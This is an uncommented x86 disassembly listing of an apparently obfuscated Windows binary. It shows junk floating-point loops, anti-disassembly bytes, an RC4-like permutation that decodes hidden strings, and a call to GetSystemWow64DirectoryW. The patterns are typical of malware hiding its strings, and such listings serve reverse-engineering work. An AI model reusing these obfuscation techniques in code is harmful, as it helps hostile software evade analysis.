movzx edx, byte [ebp - 0x3270]
movzx eax, byte [ebp - 0x3278]
mov cl, byte [ebp + edx - 0x4f7c]
mov byte [ebp + eax - 0x4f7c], cl
movsd xmm0, qword [0xa66de0]
movsd qword [ebp - 0x45e0], xmm0
movsd xmm0, qword [0xa66c58]
movsd qword [ebp - 0x4a14], xmm0
movsd xmm0, qword [0xa66b10]
movsd qword [ebp - 0x4a74], xmm0
movsd xmm0, qword [0xa669a0]
movsd qword [ebp - 0x4574], xmm0
movsd xmm0, qword [0xa66738]
movsd qword [ebp - 0x4a1c], xmm0
movsd xmm0, qword [ebp - 0x45e0]
addsd xmm0, qword [ebp - 0x4a1c]
movsd qword [ebp - 0x45e0], xmm0
movsd xmm0, qword [ebp - 0x45e0]
addsd xmm0, qword [ebp - 0x4a1c]
movsd qword [ebp - 0x45e0], xmm0
movsd xmm0, qword [ebp - 0x4a14]
addsd xmm0, qword [ebp - 0x4a1c]
movsd qword [ebp - 0x4a14], xmm0
movsd xmm0, qword [ebp - 0x45e0]
addsd xmm0, qword [ebp - 0x4a1c]
movsd qword [ebp - 0x45e0], xmm0
movsd xmm0, qword [ebp - 0x4574]
subsd xmm0, qword [ebp - 0x4a1c]
movsd qword [ebp - 0x4574], xmm0
movsd xmm0, qword [ebp - 0x45e0]
comisd xmm0, xmmword [ebp - 0x4574]
jbe 0x4432d4
mov dword [ebp - 0x49cc], 0
jmp 0x443487
mov edx, dword [ebp - 0x49cc]
add edx, 1
mov dword [ebp - 0x49cc], edx
cmp dword [ebp - 0x49cc], 0x44
jge 0x4434c3
mov eax, dword [ebp - 0x49cc]
shl eax, 1
mov dword [ebp - 0x54b8], eax
cmp dword [ebp - 0x54b8], 0x88
jae 0x4434ac
jmp 0x4434b1
call fcn.009ea777
xor ecx, ecx
mov edx, dword [ebp - 0x54b8]
mov word [ebp + edx - 0x450], cx
jmp 0x443478
mov dword [ebp - 0x3230], 0
mov dword [ebp - 0x3240], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x47e4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45e8], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45e8], xmm0
jmp 0x443512
movsd xmm0, qword [ebp - 0x45e8]
addsd xmm0, qword [0xa66348]
movsd qword [ebp - 0x45e8], xmm0
movsd xmm0, qword [0xa66768]
comisd xmm0, xmmword [ebp - 0x45e8]
jbe 0x4435c3
movsd xmm0, qword [0xa66670]
mulsd xmm0, qword [ebp - 0x45e8]
mulsd xmm0, qword [ebp - 0x45e8]
movsd xmm1, qword [ebp - 0x45e8]
mulsd xmm1, qword [ebp - 0x45e8]
subsd xmm0, xmm1
movsd xmm1, qword [0xa663b8]
mulsd xmm1, qword [ebp - 0x45e8]
mulsd xmm1, qword [ebp - 0x45e8]
addsd xmm1, qword [0xa66468]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x47e4]
movsd qword [ebp - 0x47e4], xmm0
movsd xmm0, qword [ebp - 0x47e4]
comisd xmm0, xmmword [0xa66518]
jbe 0x4435be
movsd xmm0, qword [0xa66288]
mulsd xmm0, qword [ebp - 0x45e8]
movsd xmm1, qword [ebp - 0x47e4]
subsd xmm1, xmm0
movsd qword [ebp - 0x47e4], xmm1
jmp 0x4434fa
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x47e4]
jbe 0x443612
pop eax
dec esi
pop esp
and al, 0x3b
jge 0x443620
imul ecx, dword [ebx + 0x59], 0x3b
inc ecx
aaa
xor byte [edx + 0x21], cl
invalid
mov dword [ebp - 0x3230], 0x4435e1
mov dword [ebp - 0x3240], 0x4435d0
mov eax, dword [ebp - 0x3230]
mov dword [ebp - 0x3a1c], eax
mov ecx, dword [ebp - 0x3240]
mov dword [ebp - 0x6340], ecx
mov byte [ebp - 0x4022], 0x15
mov dword [ebp - 0x38ec], 0
jmp 0x443660
invalid
mov edx, dword [ebp - 0x38ec]
add edx, 1
mov dword [ebp - 0x38ec], edx
cmp dword [ebp - 0x38ec], 0x100
jae 0x443681
mov eax, dword [ebp - 0x38ec]
mov cl, byte [ebp - 0x38ec]
mov byte [ebp + eax - 0x5ca0], cl
jmp 0x443651
mov dword [ebp - 0x44f4], 0
mov byte [ebp - 0x3355], 0
mov dword [ebp - 0x38ec], 0xff
jmp 0x4436ad
cmp dword [ebp - 0x38ec], 0
jbe 0x44391d
mov dword [ebp - 0x4a84], 0
mov dword [ebp - 0x49d0], 1
mov eax, dword [ebp - 0x49d0]
cmp eax, dword [ebp - 0x38ec]
jae 0x4436ee
mov ecx, dword [ebp - 0x49d0]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x49d0], edx
jmp 0x4436ce
mov eax, dword [ebp - 0x44f4]
mov dword [ebp - 0x54b4], eax
cmp dword [ebp - 0x54b4], 3
ja case.default.0x44370d
mov ecx, dword [ebp - 0x54b4]
jmp dword [ecx*4 + 0x46ce44]
movzx edx, byte [ebp - 0x3355]
movzx ebx, byte [ebp + edx - 0x5ca0]
movsd xmm0, qword [ebp - 0x47e4]
call fcn.009eac50
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3355], bl
jmp 0x4437f6
movzx eax, byte [ebp - 0x3355]
movzx ebx, byte [ebp + eax - 0x5ca0]
movsd xmm0, qword [ebp - 0x47e4]
call fcn.009eac50
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3355], bl
jmp 0x4437f6
movzx ecx, byte [ebp - 0x3355]
movzx ebx, byte [ebp + ecx - 0x5ca0]
movsd xmm0, qword [ebp - 0x47e4]
call fcn.009eac50
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3355], bl
jmp 0x4437f6
movzx edx, byte [ebp - 0x3355]
movzx ebx, byte [ebp + edx - 0x5ca0]
movsd xmm0, qword [ebp - 0x47e4]
call fcn.009eac50
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3355], bl
jmp 0x4437f6
movzx eax, byte [ebp - 0x3355]
movzx ecx, byte [ebp + eax - 0x5ca0]
mov edx, dword [ebp - 0x6340]
add edx, dword [ebp - 0x44f4]
movzx eax, byte [edx - 4]
add ecx, eax
mov byte [ebp - 0x3355], cl
mov ecx, dword [ebp - 0x44f4]
add ecx, 1
mov dword [ebp - 0x44f4], ecx
movzx edx, byte [ebp - 0x4022]
cmp dword [ebp - 0x44f4], edx
jb 0x443834
mov dword [ebp - 0x44f4], 0
movzx eax, byte [ebp - 0x4022]
movzx ecx, byte [ebp - 0x3355]
add ecx, eax
mov byte [ebp - 0x3355], cl
movzx edx, byte [ebp - 0x3355]
and edx, dword [ebp - 0x49d0]
mov dword [ebp - 0x42e8], edx
mov eax, dword [ebp - 0x4a84]
add eax, 1
mov dword [ebp - 0x4a84], eax
cmp dword [ebp - 0x4a84], 0xb
jbe 0x443873
mov eax, dword [ebp - 0x42e8]
xor edx, edx
div dword [ebp - 0x38ec]
mov dword [ebp - 0x42e8], edx
mov ecx, dword [ebp - 0x42e8]
cmp ecx, dword [ebp - 0x38ec]
ja 0x4436ee
mov edx, dword [ebp - 0x38ec]
cmp edx, dword [ebp - 0x42e8]
je 0x443918
mov eax, dword [ebp - 0x42e8]
movzx ecx, byte [ebp + eax - 0x5ca0]
mov edx, dword [ebp - 0x38ec]
movzx eax, byte [ebp + edx - 0x5ca0]
xor eax, ecx
mov ecx, dword [ebp - 0x38ec]
mov byte [ebp + ecx - 0x5ca0], al
mov edx, dword [ebp - 0x38ec]
movzx eax, byte [ebp + edx - 0x5ca0]
mov ecx, dword [ebp - 0x42e8]
movzx edx, byte [ebp + ecx - 0x5ca0]
xor edx, eax
mov eax, dword [ebp - 0x42e8]
mov byte [ebp + eax - 0x5ca0], dl
mov ecx, dword [ebp - 0x42e8]
movzx edx, byte [ebp + ecx - 0x5ca0]
mov eax, dword [ebp - 0x38ec]
movzx ecx, byte [ebp + eax - 0x5ca0]
xor ecx, edx
mov edx, dword [ebp - 0x38ec]
mov byte [ebp + edx - 0x5ca0], cl
jmp 0x44369e
mov eax, 1
shl eax, 0
mov cl, byte [ebp + eax - 0x5ca0]
mov byte [ebp - 0x327d], cl
mov edx, 1
imul eax, edx, 3
mov cl, byte [ebp + eax - 0x5ca0]
mov byte [ebp - 0x328f], cl
mov edx, 1
imul eax, edx, 5
mov cl, byte [ebp + eax - 0x5ca0]
mov byte [ebp - 0x32e9], cl
mov edx, 1
imul eax, edx, 7
mov cl, byte [ebp + eax - 0x5ca0]
mov byte [ebp - 0x3290], cl
movzx edx, byte [ebp - 0x3355]
mov al, byte [ebp + edx - 0x5ca0]
mov byte [ebp - 0x32b2], al
mov dword [ebp - 0x54b0], 0x2c
cmp dword [ebp - 0x54b0], 2
jle 0x44539e
mov ecx, dword [ebp - 0x54b0]
and ecx, 1
jne 0x44539e
mov dword [ebp - 0x3388], 0
mov dword [ebp - 0x35c8], 0
mov edx, dword [ebp - 0x35c8]
add edx, 1
mov dword [ebp - 0x35c8], edx
mov dword [ebp - 0x3a18], 0
mov eax, dword [ebp - 0x3388]
shl eax, 1
mov dword [ebp - 0x3a18], eax
mov dword [ebp - 0x39b0], 0
mov ecx, dword [ebp - 0x3a1c]
add ecx, dword [ebp - 0x3a18]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x39b0]
mov dword [ebp - 0x39b0], edx
mov dword [ebp - 0x39b4], 0
mov eax, dword [ebp - 0x39b4]
add eax, 0xc1
mov dword [ebp - 0x39b4], eax
mov dword [ebp - 0x3a20], 0
mov ecx, dword [ebp - 0x3388]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3a20], edx
mov dword [ebp - 0x39b8], 0
mov eax, dword [ebp - 0x3a1c]
add eax, dword [ebp - 0x3a20]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x39b8]
mov dword [ebp - 0x39b8], ecx
mov dword [ebp - 0x39bc], 0
mov edx, dword [ebp - 0x39bc]
add edx, 0x5d
mov dword [ebp - 0x39bc], edx
mov dword [ebp - 0x39c0], 0
mov eax, dword [ebp - 0x39b0]
sub eax, dword [ebp - 0x39b4]
add eax, dword [ebp - 0x39c0]
mov dword [ebp - 0x39c0], eax
mov dword [ebp - 0x39c4], 0
mov ecx, dword [ebp - 0x39b8]
sub ecx, dword [ebp - 0x39bc]
add ecx, dword [ebp - 0x39c4]
mov dword [ebp - 0x39c4], ecx
mov dword [ebp - 0x3a28], 0
mov edx, dword [ebp - 0x39c0]
shl edx, 4
mov dword [ebp - 0x3a28], edx
mov dword [ebp - 0x3a2c], 0
mov eax, dword [ebp - 0x39c4]
mov dword [ebp - 0x3a2c], eax
mov dword [ebp - 0x3a30], 0
mov ecx, dword [ebp - 0x3a28]
or ecx, dword [ebp - 0x3a2c]
mov dword [ebp - 0x3a30], ecx
mov byte [ebp - 0x32ea], 0
mov dl, byte [ebp - 0x3a30]
mov byte [ebp - 0x32ea], dl
mov byte [ebp - 0x32e8], 0
movzx eax, byte [ebp - 0x32b2]
mov cl, byte [ebp + eax - 0x5ca0]
mov byte [ebp - 0x32e8], cl
movzx edx, byte [ebp - 0x327d]
movzx eax, byte [ebp + edx - 0x5ca0]
movzx ecx, byte [ebp - 0x328f]
add ecx, eax
mov byte [ebp - 0x328f], cl
mov dl, byte [ebp - 0x327d]
add dl, 1
mov byte [ebp - 0x327d], dl
movzx eax, byte [ebp - 0x328f]
movzx ecx, byte [ebp - 0x32b2]
mov dl, byte [ebp + eax - 0x5ca0]
mov byte [ebp + ecx - 0x5ca0], dl
movzx eax, byte [ebp - 0x3290]
movzx ecx, byte [ebp - 0x328f]
mov dl, byte [ebp + eax - 0x5ca0]
mov byte [ebp + ecx - 0x5ca0], dl
movzx eax, byte [ebp - 0x327d]
movzx ecx, byte [ebp - 0x3290]
mov dl, byte [ebp + eax - 0x5ca0]
mov byte [ebp + ecx - 0x5ca0], dl
movzx eax, byte [ebp - 0x327d]
mov cl, byte [ebp - 0x32e8]
mov byte [ebp + eax - 0x5ca0], cl
movzx edx, byte [ebp - 0x32e8]
movzx eax, byte [ebp + edx - 0x5ca0]
movzx ecx, byte [ebp - 0x32e9]
add ecx, eax
mov byte [ebp - 0x32e9], cl
movzx edx, byte [ebp - 0x32ea]
movzx eax, byte [ebp - 0x328f]
movzx ecx, byte [ebp + eax - 0x5ca0]
movzx eax, byte [ebp - 0x327d]
movzx eax, byte [ebp + eax - 0x5ca0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5ca0]
xor edx, ecx
movzx eax, byte [ebp - 0x3290]
movzx ecx, byte [ebp + eax - 0x5ca0]
movzx eax, byte [ebp - 0x32b2]
movzx eax, byte [ebp + eax - 0x5ca0]
add ecx, eax
movzx eax, byte [ebp - 0x32e9]
movzx eax, byte [ebp + eax - 0x5ca0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5ca0]
movzx eax, byte [ebp + ecx - 0x5ca0]
xor edx, eax
mov byte [ebp - 0x3290], dl
mov cl, byte [ebp - 0x32ea]
mov byte [ebp - 0x32b2], cl
mov dl, byte [ebp - 0x3290]
mov byte [ebp - 0x3331], dl
cmp dword [ebp - 0x3388], 0
jle 0x443cab
movsx ax, byte [ebp - 0x3331]
mov ecx, dword [ebp - 0x3388]
mov word [ebp + ecx*2 - 0x1b2], ax
mov edx, dword [ebp - 0x3388]
add edx, 1
mov dword [ebp - 0x3388], edx
mov eax, dword [ebp - 0x35c8]
add eax, 1
mov dword [ebp - 0x35c8], eax
mov ecx, dword [ebp - 0x3388]
shl ecx, 1
mov dword [ebp - 0x3a18], ecx
mov edx, dword [ebp - 0x3a1c]
add edx, dword [ebp - 0x3a18]
movzx eax, byte [edx]
mov dword [ebp - 0x39b0], eax
mov dword [ebp - 0x39b4], 0xc1
mov ecx, dword [ebp - 0x3388]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3a20], edx
mov eax, dword [ebp - 0x3a1c]
add eax, dword [ebp - 0x3a20]
movzx ecx, byte [eax]
mov dword [ebp - 0x39b8], ecx
mov dword [ebp - 0x39bc], 0x5d
mov edx, dword [ebp - 0x39b0]
sub edx, dword [ebp - 0x39b4]
mov dword [ebp - 0x39c0], edx
mov eax, dword [ebp - 0x39b8]
sub eax, dword [ebp - 0x39bc]
mov dword [ebp - 0x39c4], eax
mov ecx, dword [ebp - 0x39c0]
shl ecx, 4
mov dword [ebp - 0x3a28], ecx
mov edx, dword [ebp - 0x39c4]
mov dword [ebp - 0x3a2c], edx
mov eax, dword [ebp - 0x3a28]
or eax, dword [ebp - 0x3a2c]
mov dword [ebp - 0x3a30], eax
mov cl, byte [ebp - 0x3a30]
mov byte [ebp - 0x32ea], cl
movzx edx, byte [ebp - 0x32b2]
mov al, byte [ebp + edx - 0x5ca0]
mov byte [ebp - 0x32e8], al
movzx ecx, byte [ebp - 0x327d]
movzx edx, byte [ebp + ecx - 0x5ca0]
movzx eax, byte [ebp - 0x328f]
add eax, edx
mov byte [ebp - 0x328f], al
mov cl, byte [ebp - 0x327d]
add cl, 1
mov byte [ebp - 0x327d], cl
movzx edx, byte [ebp - 0x328f]
movzx eax, byte [ebp - 0x32b2]
mov cl, byte [ebp + edx - 0x5ca0]
mov byte [ebp + eax - 0x5ca0], cl
movzx edx, byte [ebp - 0x3290]
movzx eax, byte [ebp - 0x328f]
mov cl, byte [ebp + edx - 0x5ca0]
mov byte [ebp + eax - 0x5ca0], cl
movzx edx, byte [ebp - 0x327d]
movzx eax, byte [ebp - 0x3290]
mov cl, byte [ebp + edx - 0x5ca0]
mov byte [ebp + eax - 0x5ca0], cl
movzx edx, byte [ebp - 0x327d]
mov al, byte [ebp - 0x32e8]
mov byte [ebp + edx - 0x5ca0], al
movzx ecx, byte [ebp - 0x32e8]
movzx edx, byte [ebp + ecx - 0x5ca0]
movzx eax, byte [ebp - 0x32e9]
add eax, edx
mov byte [ebp - 0x32e9], al
movzx ecx, byte [ebp - 0x32ea]
movzx edx, byte [ebp - 0x328f]
movzx eax, byte [ebp + edx - 0x5ca0]
movzx edx, byte [ebp - 0x327d]
movzx edx, byte [ebp + edx - 0x5ca0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5ca0]
xor ecx, eax
movzx edx, byte [ebp - 0x3290]
movzx eax, byte [ebp + edx - 0x5ca0]
movzx edx, byte [ebp - 0x32b2]
movzx edx, byte [ebp + edx - 0x5ca0]
add eax, edx
movzx edx, byte [ebp - 0x32e9]
movzx edx, byte [ebp + edx - 0x5ca0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5ca0]
movzx edx, byte [ebp + eax - 0x5ca0]
xor ecx, edx
mov byte [ebp - 0x3290], cl
mov al, byte [ebp - 0x32ea]
mov byte [ebp - 0x32b2], al
mov cl, byte [ebp - 0x3290]
mov byte [ebp - 0x3331], cl
cmp dword [ebp - 0x3388], 0
jle 0x443f04
movsx dx, byte [ebp - 0x3331]
mov eax, dword [ebp - 0x3388]
mov word [ebp + eax*2 - 0x1b2], dx
mov ecx, dword [ebp - 0x35c8]
add ecx, 8
mov dword [ebp - 0x35c8], ecx
mov edx, dword [ebp - 0x3388]
add edx, 1
mov dword [ebp - 0x4a88], edx
jmp 0x443f33
mov ecx, dword [ebp - 0x4a88]
cmp ecx, dword [ebp - 0x35c8]
jge 0x444195
mov edx, dword [ebp - 0x3388]
add edx, 1
mov dword [ebp - 0x3388], edx
mov eax, dword [ebp - 0x3388]
shl eax, 1
mov dword [ebp - 0x3a18], eax
mov ecx, dword [ebp - 0x3a1c]
add ecx, dword [ebp - 0x3a18]
movzx edx, byte [ecx]
mov dword [ebp - 0x39b0], edx
mov dword [ebp - 0x39b4], 0xc1
mov eax, dword [ebp - 0x3388]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3a20], ecx
mov edx, dword [ebp - 0x3a1c]
add edx, dword [ebp - 0x3a20]
movzx eax, byte [edx]
mov dword [ebp - 0x39b8], eax
mov dword [ebp - 0x39bc], 0x5d
mov ecx, dword [ebp - 0x39b0]
sub ecx, dword [ebp - 0x39b4]
mov dword [ebp - 0x39c0], ecx
mov edx, dword [ebp - 0x39b8]
sub edx, dword [ebp - 0x39bc]
mov dword [ebp - 0x39c4], edx
mov eax, dword [ebp - 0x39c0]
shl eax, 4
mov dword [ebp - 0x3a28], eax
mov ecx, dword [ebp - 0x39c4]
mov dword [ebp - 0x3a2c], ecx
mov edx, dword [ebp - 0x3a28]
or edx, dword [ebp - 0x3a2c]
mov dword [ebp - 0x3a30], edx
mov al, byte [ebp - 0x3a30]
mov byte [ebp - 0x32ea], al
movzx ecx, byte [ebp - 0x32b2]
mov dl, byte [ebp + ecx - 0x5ca0]
mov byte [ebp - 0x32e8], dl
movzx eax, byte [ebp - 0x327d]
movzx ecx, byte [ebp + eax - 0x5ca0]
movzx edx, byte [ebp - 0x328f]
add edx, ecx
mov byte [ebp - 0x328f], dl
mov al, byte [ebp - 0x327d]
add al, 1
mov byte [ebp - 0x327d], al
movzx ecx, byte [ebp - 0x328f]
movzx edx, byte [ebp - 0x32b2]
mov al, byte [ebp + ecx - 0x5ca0]
mov byte [ebp + edx - 0x5ca0], al
movzx ecx, byte [ebp - 0x3290]
movzx edx, byte [ebp - 0x328f]
mov al, byte [ebp + ecx - 0x5ca0]
mov byte [ebp + edx - 0x5ca0], al
movzx ecx, byte [ebp - 0x327d]
movzx edx, byte [ebp - 0x3290]
mov al, byte [ebp + ecx - 0x5ca0]
mov byte [ebp + edx - 0x5ca0], al
movzx ecx, byte [ebp - 0x327d]
mov dl, byte [ebp - 0x32e8]
mov byte [ebp + ecx - 0x5ca0], dl
movzx eax, byte [ebp - 0x32e8]
movzx ecx, byte [ebp + eax - 0x5ca0]
movzx edx, byte [ebp - 0x32e9]
add edx, ecx
mov byte [ebp - 0x32e9], dl
movzx eax, byte [ebp - 0x32ea]
movzx ecx, byte [ebp - 0x328f]
movzx edx, byte [ebp + ecx - 0x5ca0]
movzx ecx, byte [ebp - 0x327d]
movzx ecx, byte [ebp + ecx - 0x5ca0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5ca0]
xor eax, edx
movzx ecx, byte [ebp - 0x3290]
movzx edx, byte [ebp + ecx - 0x5ca0]
movzx ecx, byte [ebp - 0x32b2]
movzx ecx, byte [ebp + ecx - 0x5ca0]
add edx, ecx
movzx ecx, byte [ebp - 0x32e9]
movzx ecx, byte [ebp + ecx - 0x5ca0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5ca0]
movzx ecx, byte [ebp + edx - 0x5ca0]
xor eax, ecx
mov byte [ebp - 0x3290], al
mov dl, byte [ebp - 0x32ea]
mov byte [ebp - 0x32b2], dl
mov al, byte [ebp - 0x3290]
mov byte [ebp - 0x3331], al
cmp dword [ebp - 0x3388], 0
jle 0x444190
mov eax, dword [ebp - 0x35c8]
add eax, 1
mov dword [ebp - 0x35c8], eax
mov ecx, dword [ebp - 0x3388]
add ecx, 1
mov dword [ebp - 0x3388], ecx
mov edx, dword [ebp - 0x35c8]
add edx, 1
mov dword [ebp - 0x35c8], edx
mov eax, dword [ebp - 0x3388]
shl eax, 1
mov dword [ebp - 0x3a18], eax
mov ecx, dword [ebp - 0x3a1c]
add ecx, dword [ebp - 0x3a18]
movzx edx, byte [ecx]
mov dword [ebp - 0x39b0], edx
mov dword [ebp - 0x39b4], 0xc1
mov eax, dword [ebp - 0x3388]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3a20], ecx
mov edx, dword [ebp - 0x3a1c]
add edx, dword [ebp - 0x3a20]
movzx eax, byte [edx]
mov dword [ebp - 0x39b8], eax
mov dword [ebp - 0x39bc], 0x5d
mov ecx, dword [ebp - 0x39b0]
sub ecx, dword [ebp - 0x39b4]
mov dword [ebp - 0x39c0], ecx
mov edx, dword [ebp - 0x39b8]
sub edx, dword [ebp - 0x39bc]
mov dword [ebp - 0x39c4], edx
mov eax, dword [ebp - 0x39c0]
shl eax, 4
mov dword [ebp - 0x3a28], eax
mov ecx, dword [ebp - 0x39c4]
mov dword [ebp - 0x3a2c], ecx
mov edx, dword [ebp - 0x3a28]
or edx, dword [ebp - 0x3a2c]
mov dword [ebp - 0x3a30], edx
mov al, byte [ebp - 0x3a30]
mov byte [ebp - 0x32ea], al
movzx ecx, byte [ebp - 0x32b2]
mov dl, byte [ebp + ecx - 0x5ca0]
mov byte [ebp - 0x32e8], dl
movsd xmm0, qword [0xa66ec8]
movsd qword [ebp - 0x3e28], xmm0
movsd xmm0, qword [0xa66de8]
movsd qword [ebp - 0x4078], xmm0
movsd xmm0, qword [0xa66c68]
movsd qword [ebp - 0x3b84], xmm0
movsd xmm0, qword [0xa66b18]
movsd qword [ebp - 0x3acc], xmm0
movsd xmm0, qword [0xa669b0]
movsd qword [ebp - 0x389c], xmm0
movsd xmm0, qword [0xa66740]
movsd qword [ebp - 0x4180], xmm0
movsd xmm0, qword [ebp - 0x389c]
subsd xmm0, qword [ebp - 0x4180]
movsd qword [ebp - 0x389c], xmm0
movsd xmm0, qword [ebp - 0x3e28]
addsd xmm0, qword [ebp - 0x4180]
movsd qword [ebp - 0x3e28], xmm0
movsd xmm0, qword [ebp - 0x389c]
subsd xmm0, qword [ebp - 0x4180]
movsd qword [ebp - 0x389c], xmm0
movsd xmm0, qword [ebp - 0x3b84]
addsd xmm0, qword [ebp - 0x4180]
movsd qword [ebp - 0x3b84], xmm0
movsd xmm0, qword [ebp - 0x3b84]
addsd xmm0, qword [ebp - 0x4180]
movsd qword [ebp - 0x3b84], xmm0
movsd xmm0, qword [ebp - 0x389c]
mulsd xmm0, qword [ebp - 0x4180]
movsd qword [ebp - 0x389c], xmm0
movsd xmm0, qword [ebp - 0x3e28]
comisd xmm0, xmmword [ebp - 0x389c]
jbe 0x444456
mov dword [ebp - 0x49d4], 0
jmp 0x4453b9
mov ecx, dword [ebp - 0x49d4]
add ecx, 1
mov dword [ebp - 0x49d4], ecx
cmp dword [ebp - 0x49d4], 0x16
jge 0x4453f2
mov edx, dword [ebp - 0x49d4]
shl edx, 1
mov dword [ebp - 0x54a8], edx
cmp dword [ebp - 0x54a8], 0x2c
jae 0x4453db
jmp 0x4453e0
call fcn.009ea777
xor eax, eax
mov ecx, dword [ebp - 0x54a8]
mov word [ebp + ecx - 0x1b0], ax
jmp 0x4453aa
lea edx, [ebp - 0x1b0]
mov dword [ebp - 0x469c], edx
mov eax, dword [ebp - 0x469c]
add eax, 2
mov dword [ebp - 0x6344], eax
mov ecx, dword [ebp - 0x469c]
mov dx, word [ecx]
mov word [ebp - 0x4bb4], dx
add dword [ebp - 0x469c], 2
cmp word [ebp - 0x4bb4], 0
jne 0x44540d
mov eax, dword [ebp - 0x469c]
sub eax, dword [ebp - 0x6344]
sar eax, 1
mov dword [ebp - 0x631c], eax
mov ecx, dword [ebp - 0x631c]
lea edx, [ecx + ecx + 2]
mov dword [ebp - 0x6318], edx
push 1
mov eax, dword [ebp - 0x6318]
push eax
lea ecx, [ebp - 0x1b0]
push ecx
lea edx, [ebp - 0x264]
push edx
lea eax, [ebp - 0x450]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00428c10
add esp, 0x18
mov dword [ebp - 0x3244], 0
mov dword [ebp - 0x3248], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x47ec], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45f0], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45f0], xmm0
jmp 0x4454cc
movsd xmm0, qword [0xa66770]
comisd xmm0, xmmword [ebp - 0x45f0]
jbe 0x44557d
movsd xmm0, qword [0xa66638]
mulsd xmm0, qword [ebp - 0x45f0]
mulsd xmm0, qword [ebp - 0x45f0]
movsd xmm1, qword [ebp - 0x45f0]
mulsd xmm1, qword [ebp - 0x45f0]
subsd xmm0, xmm1
movsd xmm1, qword [0xa66418]
mulsd xmm1, qword [ebp - 0x45f0]
mulsd xmm1, qword [ebp - 0x45f0]
addsd xmm1, qword [0xa664d0]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x47ec]
movsd qword [ebp - 0x47ec], xmm0
movsd xmm0, qword [ebp - 0x47ec]
comisd xmm0, xmmword [0xa665b0]
jbe 0x445578
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x47ec]
jbe 0x445629
mov byte [ebp - 0x401a], 0
push 0x400
push 0
lea eax, [ebp - 0x3178]
push eax
call fcn.00a3b7e0
add esp, 0xc
push 0x1ff
lea ecx, [ebp - 0x3178]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
test eax, eax
je 0x44bf1c
mov byte [ebp - 0x401a], 1
push 0x400
push 0
lea edx, [ebp - 0x978]
push edx
call fcn.00a3b7e0
add esp, 0xc
mov dword [ebp - 0x31b8], 0
mov dword [ebp - 0x31bc], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x4814], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x46ac], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x46ac], xmm0
jmp 0x44bf81
movsd xmm0, qword [ebp - 0x46ac]
addsd xmm0, qword [0xa66358]
movsd qword [ebp - 0x46ac], xmm0
movsd xmm0, qword [0xa66788]
comisd xmm0, xmmword [ebp - 0x46ac]
jbe 0x44c032
movsd xmm0, qword [0xa665f0]
mulsd xmm0, qword [ebp - 0x46ac]
mulsd xmm0, qword [ebp - 0x46ac]
movsd xmm1, qword [ebp - 0x46ac]
mulsd xmm1, qword [ebp - 0x46ac]
subsd xmm0, xmm1
movsd xmm1, qword [0xa66400]
mulsd xmm1, qword [ebp - 0x46ac]
mulps xmm1, xmmword [ebp - 0x46ac]
mulsd xmm1, qword [ebp - 0x46ac]
addsd xmm1, qword [0xa664b0]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x4814]
movsd qword [ebp - 0x4814], xmm0
movsd xmm0, qword [ebp - 0x4814]
comisd xmm0, xmmword [0xa66560]
jbe 0x44c02d
movsd xmm0, qword [0xa66258]
mulsd xmm0, qword [ebp - 0x46ac]
movsd xmm1, qword [ebp - 0x4814]
subsd xmm1, xmm0
movsd qword [ebp - 0x4814], xmm1
jmp 0x44bf69
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x4814]
jbe 0x44c066
out 0x83, al
out 0x90, eax
jmp 0x44bfcc
mov dword [ebp - 0x31b8], 0x44c03f
mov dword [ebp - 0x31bc], 0x44c04d
mov eax, dword [ebp - 0x31b8]
mov dword [ebp - 0x3e84], eax
mov ecx, dword [ebp - 0x31bc]
mov dword [ebp - 0x62f0], ecx
mov byte [ebp - 0x401e], 0x18
mov dword [ebp - 0x3904], 0
jmp 0x44c0b4
mov edx, dword [ebp - 0x3904]
add edx, 1
mov dword [ebp - 0x3904], edx
cmp dword [ebp - 0x3904], 0x100
jae 0x44c0d5
mov eax, dword [ebp - 0x3904]
mov cl, byte [ebp - 0x3904]
mov byte [ebp + eax - 0x6578], cl
jmp 0x44c0a5
mov dword [ebp - 0x44e4], 0
mov byte [ebp - 0x3359], 0
mov dword [ebp - 0x3904], 0xff
jmp 0x44c101
mov edx, dword [ebp - 0x3904]
sub edx, 1
mov dword [ebp - 0x3904], edx
cmp dword [ebp - 0x3904], 0
jbe 0x44c371
mov dword [ebp - 0x4ab0], 0
mov dword [ebp - 0x49f8], 1
mov eax, dword [ebp - 0x49f8]
cmp eax, dword [ebp - 0x3904]
jae 0x44c142
mov ecx, dword [ebp - 0x49f8]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x49f8], edx
jmp 0x44c122
mov eax, dword [ebp - 0x44e4]
mov dword [ebp - 0x5468], eax
